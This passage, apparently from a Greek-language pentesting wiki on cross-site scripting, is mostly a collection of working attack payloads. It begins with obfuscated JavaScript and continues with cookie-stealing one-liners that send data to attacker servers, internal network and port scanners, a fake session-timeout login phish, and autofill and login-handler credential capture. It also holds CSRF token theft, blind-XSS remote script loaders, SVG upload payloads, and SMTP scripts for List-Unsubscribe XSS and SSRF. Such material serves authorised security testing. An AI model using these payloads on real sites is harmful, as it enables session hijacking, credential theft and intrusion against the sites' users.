((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
Κοινά XSS payloads
Πολλαπλά payloads σε 1
Iframe Trap
Κάντε τον χρήστη να περιηγηθεί στη σελίδα χωρίς να βγει από ένα iframe και κλέψτε τις ενέργειές του (συμπεριλαμβανομένων των πληροφοριών που αποστέλλονται σε φόρμες):
Ανάκτηση Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Δεν θα μπορείτε να έχετε πρόσβαση στα cookies από το JavaScript αν το HTTPOnly flag έχει οριστεί στο cookie. Αλλά εδώ έχετε some ways to bypass this protection αν είστε αρκετά τυχεροί.
Κλέψτε το περιεχόμενο της σελίδας
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Εύρεση εσωτερικών διευθύνσεων IP
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Μικροί χρόνοι υποδεικνύουν ότι η port ανταποκρίνεται Μεγαλύτεροι χρόνοι υποδεικνύουν μη ανταπόκριση.
Ελέγξτε τη λίστα με τις ports που έχουν αποκλειστεί στο Chrome here και στο Firefox here.
Πλαίσιο για αίτηση credentials
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Καταγραφή κωδικών Auto-fill
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Όταν εισάγεται οποιοδήποτε δεδομένο στο πεδίο password, το username και το password αποστέλλονται στον attackers server — ακόμα κι αν ο client επιλέξει αποθηκευμένο password και δεν γράψει τίποτα, τα credentials θα ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Αν ένας κρίσιμος handler (π.χ., function DoLogin(){...}) δηλώνεται αργότερα στη σελίδα, και το payload σου τρέχει νωρίτερα (π.χ., μέσω inline JS-in-JS sink), δήλωσε πρώτα ένα const με το ίδιο όνομα για να προλάβεις και να κλειδώσεις τον handler. Μετέπειτα δηλώσεις function δεν μπορούν να επαναδεσμεύσουν ένα const όνομα, αφήνοντας το hook σου υπό έλεγχο:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Σημειώσεις
- Αυτό βασίζεται στη σειρά εκτέλεσης: η injection σας πρέπει να εκτελεστεί πριν από τη νόμιμη δήλωση.
- Αν το payload σας είναι τυλιγμένο σε
eval(...), οι δεσμεύσειςconst/letδεν θα γίνουν globals. Χρησιμοποιήστε τη δυναμική - Όταν φίλτρα λέξεων-κλειδιών μπλοκάρουν κώδικα, συνδυάστε το με Unicode-escaped identifiers ή με παράδοση
eval(atob('...')), όπως φαίνεται παραπάνω.
Keylogger
Απλώς ψάχνοντας στο github βρήκα μερικά διαφορετικά:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Μπορείτε επίσης να χρησιμοποιήσετε το metasploit
http_javascript_keylogger
Υποκλοπή CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Κλοπή μηνυμάτων PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
Εάν μια σελίδα αποθηκεύει το event.origin από ένα postMessage και αργότερα το συνενώνει σε ένα script URL, ο αποστολέας ελέγχει την origin του φορτωμένου JS:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Exploitation recipe (from CAPIG):
- Gates: εκτελείται μόνο όταν
window.openerυπάρχει καιpixel_idείναι allowlisted; origin is never checked. - Use CSP-allowed origin: pivot σε domain που ήδη επιτρέπεται από το victim CSP (π.χ., logged-out help pages που επιτρέπουν analytics όπως
*.THIRD-PARTY.com) και φιλοξενήστε/sdk/<pixel_id>/iwl.jsεκεί μέσω takeover/XSS/upload. - Restore
opener: σε Android WebView,window.name='x'; window.open(target,'x')κάνει τη σελίδα το δικό της opener· στείλτε το κακόβουλοpostMessageαπό ένα hijacked iframe. - Trigger: το iframe κάνει post
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; ο parent στη συνέχεια φορτώνει attackeriwl.jsαπό την CSP-allowed origin και το εκτελεί.
Αυτό μετατρέπει τον origin-less postMessage validation σε ένα remote script loader primitive που επιβιώνει από CSP αν μπορείτε να βρεθείτε σε οποιοδήποτε origin που ήδη επιτρέπεται από την πολιτική.
Supply-chain stored XSS via backend JS concatenation
Όταν ένα backend builds a shared SDK by concatenating JS strings with user-controlled values, οποιοσδήποτε quote/structure breaker μπορεί να εγχύσει script που σερβίρεται σε κάθε consumer:
- Example pattern (Meta CAPIG): ο server appends
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});directly intocapig-events.js. - Η ένεση
'ή"]}κλείνει το literal/object και προσθέτει attacker JS, δημιουργώντας stored XSS στο διανεμημένο SDK για κάθε site που το φορτώνει (first-party και third-party).
Stored XSS in generated reports when escaping is disabled
Εάν uploaded files αναλυθούν και τα metadata τους τυπωθούν σε HTML reports με το escaping απενεργοποιημένο (|safe, custom renderers), αυτά τα metadata είναι ένας stored XSS sink. Παράδειγμα ροής:
xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name # %s fed by xmlhost
Ένα Django template αποδίδει {{item|key:"title"|safe}}, οπότε το attacker HTML εκτελείται.
Εκμετάλλευση: τοποθετήστε HTML κωδικοποιημένο ως entities σε οποιοδήποτε πεδίο manifest/config που φτάνει στην αναφορά:
<data android:scheme="android_secret_code"
android:host="<img src=x onerror=alert(document.domain)>"/>
Αν αποδοθεί με |safe, η αναφορά παράγει <img ...> και εκτελεί JS κατά την προβολή.
Hunting: αναζητήστε builders αναφορών/ειδοποιήσεων που επαναχρησιμοποιούν parsed fields σε %s/f-strings και απενεργοποιούν το auto-escape. Ένα κωδικοποιημένο tag σε ένα ανεβασμένο manifest/log/archive προκαλεί μόνιμο XSS για κάθε θεατή.
Κατάχρηση Service Workers
Πρόσβαση στο Shadow DOM
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
Μπορείτε επίσης να χρησιμοποιήσετε: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
Από this writeup είναι δυνατό να μάθει κανείς ότι ακόμα κι αν κάποιες τιμές εξαφανιστούν από το JS, εξακολουθεί να είναι δυνατό να τις βρει σε JS attributes σε διάφορα objects. Για παράδειγμα, ένα input ενός REGEX εξακολουθεί να είναι δυνατό να βρεθεί αφού η τιμή του input του regex αφαιρέθηκε:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
XSS Εκμετάλλευση άλλων ευπαθειών
XSS στο Markdown
Μπορείς να εγχύσεις κώδικα Markdown που θα αποδοθεί; Ίσως έτσι να πετύχεις XSS! Δες:
XSS σε SSRF
Έχεις XSS σε ένα site that uses caching; Δοκίμασε να upgrading that to SSRF μέσω Edge Side Include Injection με αυτό το payload:
<esi:include src="http://yoursite.com/capture" />
Χρησιμοποίησέ το για να παρακάμψεις περιορισμούς cookie, XSS φίλτρα και πολλά άλλα!
Περισσότερες πληροφορίες για αυτή την τεχνική εδώ: XSLT.
XSS σε δυναμικά δημιουργημένο PDF
Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείς να προσπαθήσεις να ξεγελάσεις το bot που δημιουργεί το PDF ώστε να εκτελέσει αυθαίρετο JS code.
Έτσι, αν το PDF creator bot βρίσκει κάποιο είδος HTML tags, θα τα ερμηνεύσει, και μπορείς να κακοποιήσεις αυτή τη συμπεριφορά για να προκαλέσεις Server XSS.
Αν δεν μπορείς να εισάγεις HTML tags, ίσως αξίζει να προσπαθήσεις να inject PDF data:
XSS σε Amp4Email
Το AMP, με στόχο την επιτάχυνση της απόδοσης ιστοσελίδων σε φορητές συσκευές, ενσωματώνει HTML tags με συμπληρωματικό JavaScript για να διασφαλίσει λειτουργικότητα, δίνοντας έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά components για διάφορες δυνατότητες, προσβάσιμα μέσω των AMP components.
Το AMP for Email format επεκτείνει συγκεκριμένα AMP components στα emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα emails τους.
Παράδειγμα writeup XSS in Amp4Email in Gmail.
Κατάχρηση της κεφαλίδας List-Unsubscribe (Webmail XSS & SSRF)
Η RFC 2369 List-Unsubscribe κεφαλίδα περιλαμβάνει attacker-controlled URIs που πολλοί webmail και mail clients μετατρέπουν αυτόματα σε κουμπιά “Unsubscribe”. Όταν αυτές οι URIs αποδίδονται ή ανακτώνται χωρίς validation, η κεφαλίδα γίνεται σημείο ένεσης τόσο για stored XSS (αν ο unsubscribe σύνδεσμος τοποθετηθεί στο DOM) όσο και για SSRF (αν ο server εκτελέσει το unsubscribe request εξ ονόματος του χρήστη).
Stored XSS μέσω javascript: URIs
- Στείλε στον εαυτό σου ένα email όπου η κεφαλίδα δείχνει σε
javascript:URI, κρατώντας το υπόλοιπο μήνυμα ακίνδυνο ώστε τα spam filters να μην το απορρίψουν. - Εξασφάλισε ότι το UI αποδίδει την τιμή (πολλοί clients την εμφανίζουν σε ένα “List Info” pane) και έλεγξε αν το προκύπτον
<a>tag κληρονομεί attacker-controlled attributes όπωςhrefήtarget. - Προκάλεσε την εκτέλεση (π.χ. CTRL+click, middle-click, ή “open in new tab”) όταν ο σύνδεσμος χρησιμοποιεί
target="_blank"· οι browsers θα αξιολογήσουν το παρεχόμενο JavaScript στο origin της webmail εφαρμογής. - Παρατήρησε το stored-XSS primitive: το payload παραμένει μαζί με το email και απαιτεί μόνο ένα click για να εκτελεστεί.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Το byte νέας γραμμής (%0a) στο URI δείχνει ότι ακόμη και ασυνήθιστοι χαρακτήρες επιβιώνουν στην rendering pipeline σε ευάλωτους clients όπως το Horde IMP H5, το οποίο θα εμφανίσει τη συμβολοσειρά αυτούσια μέσα στην anchor tag.
Ελάχιστο SMTP PoC που στέλνει έναν κακόβουλο List-Unsubscribe header
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Proxy απεγγραφής στην πλευρά του server -> SSRF
Ορισμένοι clients, όπως η εφαρμογή Nextcloud Mail, κάνουν proxy τη δράση απεγγραφής στην πλευρά του διακομιστή: το πάτημα του κουμπιού δίνει εντολή στον διακομιστή να κάνει fetch το παρεχόμενο URL ο ίδιος. Αυτό μετατρέπει την κεφαλίδα σε SSRF primitive, ειδικά όταν οι διαχειριστές έχουν ορίσει 'allow_local_remote_servers' => true (τεκμηριωμένο στο [HackerOne report 2902856](https://hackerone.com/reports/2902856)), που επιτρέπει αιτήσεις προς loopback και RFC1918 ranges.
1. **Συντάξτε ένα email** όπου `List-Unsubscribe` στοχεύει σε attacker-controlled endpoint (για blind SSRF χρησιμοποιήστε Burp Collaborator / OAST).
2. **Διατηρήστε `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** ώστε το UI να εμφανίζει κουμπί απεγγραφής με ένα κλικ.
3. **Ικανοποιήστε τις απαιτήσεις εμπιστοσύνης**: το Nextcloud, για παράδειγμα, εκτελεί αιτήσεις απεγγραφής HTTPS μόνο όταν το μήνυμα περνάει DKIM, οπότε ο επιτιθέμενος πρέπει να υπογράψει το email χρησιμοποιώντας domain που ελέγχει.
4. **Παραδώστε το μήνυμα σε έναν λογαριασμό ηλεκτρονικού ταχυδρομείου που επεξεργάζεται ο στοχευόμενος διακομιστής** και περιμένετε μέχρι κάποιος χρήστης να πατήσει το κουμπί απεγγραφής.
5. **Παρατηρήστε το server-side callback στο collaborator endpoint**, και μετά κάντε pivot σε εσωτερικές διευθύνσεις μόλις επιβεβαιωθεί το primitive.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Μήνυμα List-Unsubscribe υπογεγραμμένο με DKIM για δοκιμή SSRF
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Σημειώσεις δοκιμών**
- Use an OAST endpoint to collect blind SSRF hits, then adapt the `List-Unsubscribe` URL to target `http://127.0.0.1:PORT`, metadata services, or other internal hosts once the primitive is confirmed.
- Επειδή ο unsubscribe helper συχνά επαναχρησιμοποιεί το ίδιο HTTP stack με την εφαρμογή, κληρονομείτε τις proxy settings, HTTP verbs, και header rewrites του, επιτρέποντας περαιτέρω traversal tricks που περιγράφονται στην [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
### XSS μεταφόρτωση αρχείων (svg)
Μεταφορτώστε ως εικόνα ένα αρχείο σαν το παρακάτω (από [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Βρες περισσότερα SVG payloads στο https://github.com/allanlw/svg-cheatsheet
Διάφορα JS κόλπα & Σχετικές πληροφορίες
Misc JS Tricks & Relevant Info
Πόροι XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
